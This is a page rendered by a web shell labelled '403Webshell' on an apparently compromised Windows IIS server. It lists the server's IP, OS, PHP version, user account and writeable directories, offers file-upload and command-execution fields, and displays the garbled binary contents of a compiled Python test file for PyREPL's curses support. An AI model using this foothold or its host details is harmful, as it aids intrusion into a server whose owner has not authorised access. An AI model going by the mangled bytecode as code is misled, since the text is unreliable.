403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_pyrepl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_pyrepl/__pycache__/test_terminfo.cpython-315.pyc
R
>lqj�Yc��Qs]PHs]PHs]PHs]PHs]PHs]QHGsGs]QH$G
s
\Q2]PH.s]QH8Gs\O s\O"sQQ\O$2sP!\c]PH6sKC\cPsKOh9hh9h)z[Tests comparing PyREPL's pure Python curses implementation with the standard curses module.)�requires�has_subprocess_support)�dedent�curses)�terminfoc�`�\sQs]snQs\Q2sQsQs\U1QkQk2s	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsUsP!)�TestCursesCompatibilityz�Test that PyREPL's curses implementation matches the standard curses behavior.

Python's `curses` doesn't allow calling `setupterm()` again with a different
$TERM in the same process, so we subprocess all `curses` tests to get correctly
set up terminfo.c��[e[OQ2g[%f[OQ2gUO	Q2P!)NzE`curses` capability provided to regrtest but `_curses` not importableztest module requires subprocess�dumb)�_curses�unittest�SkipTestr�infocmp)�clss&�3C:\Python315\\Lib\test\test_pyrepl\test_terminfo.py�
setUpClass�"TestCursesCompatibility.setUpClass$sE���?��#�#�W��
�&�%��#�#�$E�F�F�	���F��c�R�[OOQP2UmP!)�TERM)�os�environ�get�
original_term��selfs&r�setUp�TestCursesCompatibility.setUp2s���Z�Z�^�^�F�D�9��rc��UOd UO[OQ$P!Q[O7c[OQP!P!)Nr)rrrrs&r�tearDown� TestCursesCompatibility.tearDown5s?�����)�!%�!3�!3�B�J�J�v��
�r�z�z�
!��
�
�6�"�"rc�2:�U]6�cPgQRZRZ*-!)��return)�list�str)�format�
__classdict__s"�r�__annotate__�,TestCursesCompatibility.infocmp.__annotate__<s�����d�3�i�rc���,o[OQQU,P	P	P	Q5oUO
O
2FD�oUO2oUOQ2%c)QU7c QU7c[OQ2gJPJRQU7fJ[UOQ2]*oUOU2J�	U![c[OQ2gh9h)	r
z-l1)�capture_output�text�checkz&calling `infocmp` failed on the system�#r�termcapz;curses using termcap.db: no terminfo database on the system�=)�
subprocess�run�	Exceptionrr�stdout�
splitlines�strip�
startswith�split�append)r�term�all_caps�result�line�cap_names&&    rr
�TestCursesCompatibility.infocmp;s�����	N��^�^��E�4�(�#���	�F��M�M�,�,�.�D��:�:�<�D����s�#�#��T�)�i�4�.?�"�+�+�&���/@�)�����:�:�c�?�1�-������)�/����!�	N��#�#�$L�M�M�	N�s�C�	C)�C)c
��,Q	NoSFD�oUOUQ59^tt^2[Q[U2Q02o[O[
OQU,P	P	Q5o[OUO2oUQ*o[OUP
Q5P	oU%cUOUQU02LPPP2J�	P![coP
oSo	Po=KAPo=hh9h)%fhJ�9h)
z#Test basic setupterm functionality.�r9z�
                    import _curses
                    import json
                    try:
                        _curses.setupterm(z�, 1)
                        print(json.dumps({"success": True}))
                    except Exception as e:
                        print(json.dumps({"success": False, "error": str(e)}))
                    �-c�r*r+�success��fallbackz0Standard curses succeeded but PyREPL failed for )�xtermzxterm-256color�vt100�ansi)�subTestr�reprr0r1�sys�
executable�json�loadsr3r�TermInfor2�
assertTrue)
r�
test_termsr9�ncurses_coder;�ncurses_data�std_success�pyrepl_success�e�pyrepl_errors
&         r�test_setupterm_basic�,TestCursesCompatibility.test_setupterm_basicWs���B�
��D����4��(�(�%�+�,0��:�,�7�	�
 ��$����^�^�T�<�8�#'����
 $�z�z�&�-�-�8��*�9�5��%��%�%�d�U�;�%)�N���O�O�&�J�4�&�Q���M)�(���4!�%�%*�N�#$�L��%��3)�(�(�sH�A,C6	�C�-C6	�5C6	�	C3�$C3�%C.�)C6	�.C3�3C6	�6D
�?D
c�X�[Q2o[O[OQU,P	P	Q5o[
OUO2oUQ*o[OPP
Q5P	oU%cUOUQ2P!P![cP
oK-h9h)z6Test setupterm with None (uses TERM from environment).a
            import _curses
            import json
            try:
                _curses.setupterm(None, 1)
                print(json.dumps({"success": True}))
            except Exception as e:
                print(json.dumps({"success": False, "error": str(e)}))
            rArBrCrDz4Standard curses succeeded but PyREPL failed for None)rr0r1rKrLrMrNr3rrOr2rP)rrRr;rSrTrUs&     r�test_setupterm_none�+TestCursesCompatibility.test_setupterm_none�s����
�

�����
�^�^�T�<�0���
��
�z�z�&�-�-�0��"�9�-��	#����d�U�3�!�N�
��O�O��F�
���	�	#�"�N�	#�s�!B�	B)�#B)�(B)c�
�QoUOU2o[Q[U2Q[U2Q02o[O[
OQU,P	P	Q5oUOUO]QUO02[OUO2o[OUP
Q5oSFD�oVu7fVW*Q	6XcJUOUQ
59^tt^2VW*o[!U["2%c[%U2oUO'U2o	UOU	UQUQ[U2Q
[U	202PPP2J�	P!)%fhJ�9h)z/Test tigetstr for common terminal capabilities.rF�R
            import _curses
            import json
            _curses.setupterm(z5, 1)
            results = {}
            for cap in a�:
                try:
                    val = _curses.tigetstr(cap)
                    if val is None:
                        results[cap] = None
                    elif val == -1:
                        results[cap] = -1
                    else:
                        results[cap] = list(val)
                except BaseException:
                    results[cap] = "error"
            print(json.dumps(results))
            rArB�Failed to run ncurses: rD�error��
capability�Capability �
: ncurses=�	, pyrepl=)r
rrJr0r1rKrL�assertEqual�
returncode�stderrrMrNr3rrOrI�
isinstancer#�bytesr)
rr9r:rRr;rS�ti�cap�ncurses_val�
pyrepl_vals
&         r�!test_tigetstr_common_capabilities�9TestCursesCompatibility.test_tigetstr_common_capabilities�sl�����<�<��%���� $�D�z�l�+��X��'�(
�
�
��*���
�^�^�T�<�0���
��
	
������q�$;�F�M�M�?�"K�	
��z�z�&�-�-�0��
�
�
�t�e�
4���C��&�,�*;�w�*F�������-�-�*�/���k�4�0�0�"'��"4�K��V�V�C�[�
�� � ���!�#��j��k�1B�0C�D�"�:�.�/�1��.�-�	�.�-�-�s�:E1	�A
E1	�1F
�:F
c�t�QoQo[Q[U2Q[U2Q02o[O[O
QU,P	P	Q5o[OUO2o[OUP
Q5oUOU2oP	oUO[29^tt^2UOUOQ	22PPP2UOUUQ
*Q2UO!UQ2P![cP
oK�h9h)%fhKQ9h)
z)Test tigetstr with different input types.rF�cupr^zn, 1)

            # Test with string input
            try:
                std_str_result = _curses.tigetstr(a)
                std_accepts_str = True
                if std_str_result is None:
                    std_str_val = None
                elif std_str_result == -1:
                    std_str_val = -1
                else:
                    std_str_val = list(std_str_result)
            except TypeError:
                std_accepts_str = False
                std_str_val = None

            print(json.dumps({
                "accepts_str": std_accepts_str,
                "str_result": std_str_val
            }))
            rArBrD�ascii�accepts_strz;PyREPL and standard curses should have same string handlingz!PyREPL should accept string input)rrJr0r1rKrLrMrNr3rrOr�	TypeError�assertRaises�encoderfrP)	rr9rlrRr;rSrk�pyrepl_str_result�pyrepl_accepts_strs	&        r�test_tigetstr_input_types�1TestCursesCompatibility.test_tigetstr_input_types�s&�������� $�D�z�l�+3�48��9�+�>
�
�
��6���
�^�^�T�<�0���
��
�z�z�&�-�-�0���
�
�t�e�
4��	'� "���s���!%��
�
�
�y�
)�
)��F�F�3�:�:�g�&�'�*�	
������'�I�	
�
	
���� C�	
���	'�!&��	'��*�
)�s*�
D�=!D'�	D$�D$�#D$�'D7	�0D7	c���Qo[OUP
Q5oUOQ2oU%Cc�U[[.7Ccx,QNo[Q[
U2Q[
U2Q02o[O[OQU,P	P	Q5oUOUO]Q	UO02[OUO 2oSFD�vq�UO#V�Q
59^tt^2UQU	0o
[%Vz*[&2%c/QVz*7c"UO)Q
Vz*Q*02[+Vz*2o[O,V8U	2oUOUUQUQU	Q[
U2Q[
U202PPP2J�	P![.O0Q2g)%fhJ�9h)zTest basic tparm functionality.rFrDrrz^
                import _curses
                import json
                _curses.setupterm(z�, 1)

                # Get cup capability
                cup = _curses.tigetstr('cup')
                results = {}

                for row, col in aC:
                    try:
                        result = _curses.tparm(cup, row, col)
                        results[f"{row},{col}"] = list(result)
                    except Exception as e:
                        results[f"{row},{col}"] = {"error": str(e)}

                print(json.dumps(results))
                rArBr_)�row�col�,r`�ncurses tparm failed: ztparm(cup, �, �): std=rez0test_tparm_basic() requires the `cup` capability))�r�)��
)��O)��r�)rrOr�
ABSENT_STRING�CANCELLED_STRINGrrJr0r1rKrLrfrgrhrMrNr3rIri�dict�failrj�tparmrr)
rr9rkrr�
test_casesrRr;rSr}r~�key�
std_result�
pyrepl_results
&            r�test_tparm_basic�(TestCursesCompatibility.test_tparm_basic&s�����
�
�
�t�e�
4���f�f�U�m���3�3�}�.>�?�?��J�"�#�$(��:�,�/!�"&�j�!1� 2�3���L�* �^�^�����|�4�#���F�

����!�!�1�(?��
�
��&O�
� �:�:�f�m�m�4�L�&����\�\�c�\�3�3� �E��3�%�.�C�"�<�#4�d�;�;�#�|�'8�8��	�	�4�\�5F�w�5O�4P�Q��"'�|�'8�!9�J�%-�N�N�3�S�$A�M��$�$�%�"�%�c�U�"�S�E�2�#�J�/�0�	�$�}�:M�9N�P��!4�3�'�0�#�#�B��
�/4�3�3�s�#G	�*G	�7A:G	�G&
�G&
c�N�Qo[OUP
Q5oQ]Q]Q]Q]Q]Q]-o-oSFD5oUOU2oU%fJU[[.7fJ1VdU$J7	U%fUOQ	2[
Q
[U2Q[U2Q02o[O[OQ
U,P	P	Q5oUOUO]QUO02[O UO"2o	UO%2FD�vqVUO'UQ59^tt^2QFD�o
UQU
0oV�7fJ[)V�*[*2%c/QV�*7c"UO-QV�*Q*02[/V�*2o[O0Vj2o
UOU
UQUQU
Q[U2Q[U
202J�	PPP2J�	P!)%fhJ�9h)z7Test tparm with capabilities using multiple parameters.rFrD�cub�cuf�cuu�cud�dch�ichz"No parametrized capabilities foundr^z, 1)

            param_caps = aM
            test_values = [1, 5, 10, 99]
            results = {}

            for cap in param_caps:
                cap_value = _curses.tigetstr(cap)
                if cap_value and cap_value != -1:
                    for value in test_values:
                        try:
                            result = _curses.tparm(cap_value, value)
                            results[f"{cap},{value}"] = list(result)
                        except Exception as e:
                            results[f"{cap},{value}"] = {"error": str(e)}

            print(json.dumps(results))
            rArBr_rarr`r�ztparm(r�r�re)�r�r��c)rrOrr�r��skipTestrrJr0r1rKrLrfrgrhrMrNr3�itemsrIrir�r�rjr�)rr9rk�
param_caps�pyrepl_capsrl�	cap_valuerRr;rS�valuer�r�r�s&             r�test_tparm_multiple_params�2TestCursesCompatibility.test_tparm_multiple_paramsrs����
�
�
�t�e�
4��
�1��1��1��1��1��1�

�
����C����s��I��y�Y�� �/��$-�C� �
���M�M�>�?��� $�D�z�l�+��z�*�+�,
�
�
��0���
�^�^�T�<�0���
��
	
������q�$;�F�M�M�?�"K�	
��z�z�&�-�-�0��)�/�/�1�N�C������-�-�+�E� �E��5�'�*�C��*�&�|�'8�$�?�?� '�<�+<� <� �I�I�"8��9J�7�9S�8T� U��&+�<�+<�%=�
�(0���y�(H�
��(�(�)�&�$�S�E��E�7�3#�#'�
�#3�"4�I�d�=�>Q�=R�T��,�.�-�2�-�-�-�s%�	H	�H	�;H	�A=H	�H$
�H$
c�6�Qo[Q[U2Q02o[O[O
QU,P	P	Q5o[OUO2o[OUP
Q5oUQ*%c?UO[29^tt^2[OP2PPP2P![OP2P!)%fhP!9h[cSOQ2P!h9h)	z Test tparm with None/null input.rFr^a�, 1)

            # Test with None
            try:
                _curses.tparm(None)
                raises_typeerror = False
            except TypeError:
                raises_typeerror = True
            except Exception as e:
                raises_typeerror = False
                error_type = type(e).__name__

            print(json.dumps({"raises_typeerror": raises_typeerror}))
            rArBrD�raises_typeerrorz+PyREPL raised TypeError but ncurses did not)rrJr0r1rKrLrMrNr3rrOrvrur�r�)rr9rRr;rSrks&     r�test_tparm_null_handling�0TestCursesCompatibility.test_tparm_null_handling�s������� $�D�z�l�
+
�
�
��(���
�^�^�T�<�0���
��
�z�z�&�-�-�0���
�
�t�e�
4���*�+�+��"�"�9�-�-����t�$�.�-�
I����t�$�.�-�-���
I��	�	�G�H�
I�s*�*C$�C8�$C5	�-C5	�8	D�D�Dc��,QNoSFCD�oUOUQ59^tt^2UOU2o[Q[U2Q[U2Q02o[O
[OQU,P	P	Q5oUO]6wc"UOQUQUO02[OUO2oQ
W7c5[U2]6Xc%[ O"UP	Q5oPPP2CJ[ O"UP
Q5oSFD�oV�7cJUOV(Q59^tt^2Vh*o	[%U	[&2%c[)U	2o	UO+U2o
UO-U
U	Q
UQUQ[U	2Q[U
202PPP2J�	PPP2CJ�	P![Oc&SOQ	SQSO02CK;h9h)%fhJ�9h)%fhCJ69h)z!Test with special terminal types.r@z�
                    import _curses
                    import json
                    import sys

                    try:
                        _curses.setupterm(zM, 1)
                        results = {}
                        for cap in a�:
                            try:
                                val = _curses.tigetstr(cap)
                                if val is None:
                                    results[cap] = None
                                elif val == -1:
                                    results[cap] = -1
                                else:
                                    # Convert bytes to list of ints for JSON
                                    results[cap] = list(val)
                            except BaseException:
                                results[cap] = "error"
                        print(json.dumps(results))
                    except Exception as e:
                        print(json.dumps({"error": str(e)}))
                    rArBzFailed to get ncurses data for z: z#Failed to parse ncurses output for r`rD)r9rbrcz for rdre)r	�unknown�linux�screen�tmux)rIr
rrJr0r1rKrLrgr�rhrMrNr3�JSONDecodeError�lenrrOrir#rjrrf)r�
special_termsr9r:rRr;rSrkrlrmrns&          r�test_special_terminals�.TestCursesCompatibility.test_special_terminals�s��
�
�"�D����4��(�(��<�<��-��%�+�,0��:�,�7$�$(��N�#3�4�� ��8$����^�^�T�<�8�#'����
�$�$��)��I�I�9�$��r�&�-�-��Q���#'�:�:�f�m�m�#<�L��l�*�s�<�/@�A�/E�"�*�*�4�$�?�B��g)�(�j�&�&�t�e�<��$�C��.� ����4��@�@�&2�&7��%�k�4�8�8�*/��*<�K�%'�V�V�C�[�
��(�(�&�'�)�#��e�D�6�:'�'+�K�'8�&9�:&�&*�:�&6�%7�9��A�@�	$�q)�(�"��V�+�+���I�I�=�d�V�2�f�m�m�_�U����$A�@�@��y)�(�(�s�A0H-	�!H-	�: G�H-	�!H-	�1H-	�#H-	�9H-	�H�4A
H�H-	�H�0"H�H-	�H�H-	�H*�"H*�$	H-	�-H?
�6H?
c���Qo[Q[U2Q02o[O[O
QU,P	P	Q5o[OUO2oUQ*%cUOQUQ02[OUP	Q	5oP	oUOUQ
2WOQ2oUOUQ2P![cP
oKFh9h)
zBTest that PyREPL falls back gracefully when terminfo is not found.znonexistent-terminal-type-12345zg
            import _curses
            import json
            try:
                _curses.setupterm(a!, 1)
                print(json.dumps({"success": True}))
            except _curses.error:
                print(json.dumps({"success": False, "error": "curses.error"}))
            except Exception as e:
                print(json.dumps({"success": False, "error": str(e)}))
            rArBrCz&System unexpectedly has terminfo for '�'rDz-PyREPL should fall back for unknown terminals�belz7PyREPL should provide basic capabilities after fallback)rrJr0r1rKrLrMrNr3r�rrOr2rPr�assertIsNotNone)r�	fake_termrRr;rSrk�	pyrepl_okr�s&       r�test_terminfo_fallback�.TestCursesCompatibility.test_terminfo_fallbackNs���6�	��#�$(�	�?�"3�4
�	

�
�����
�^�^�T�<�0���
��
�z�z�&�-�-�0���	�"�"��M�M�8���1�E�
�
	��"�"�9�t�<�B��I�	
����F�	
�
�f�f�U�m������J�	
���	��I�	�s�C�	C,�&C,�+C,c��]*[1P[1Q[1Q[OQ0[1,oSFD`vq#UO	UQ59^tt^2UOU29^tt^2[OU2PPP2PPP2Jb	P!)%fhK9h)%fhJ�9h)�*zwtz..�namer@)ru�
ValueErrorr�seprIrvr� _validate_terminal_name_or_raise)r�casesr9�excs&   r�test_invalid_terminal_names�3TestCursesCompatibility.test_invalid_terminal_names�s���
��O�
���
�z�"��"�&�&���
�
�+�	
���I�D����4��(�(��&�&�s�+�+��=�=�d�C�,�)�(��+�+��)�(�(�s0�B.	�.B
�B.	�B+�$B+�&B.	�.B?
�7B?
)r)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�classmethodrrrr
rXr[rorzr�r�r�r�r�r��__static_attributes__�__classdictcell__)r&s@rrrs����������:�#�����6,�\"�H;�z>
�@J�XT�l+I�ZW�r0
�dD�Drr)r�rMrr0rKr�test.supportrr�textwraprr
�ImportErrorr�_pyreplrr�r��TestCaser�rr�<module>r�s���a��	��
��9��	�������&�&�
��,�,��n	D�h�/�/�n	D����� ���������s5�A(�(B�.B�0A6�6B�<B�?B�B�B

Youez - 2016 - github.com/yon3zu
LinuXploit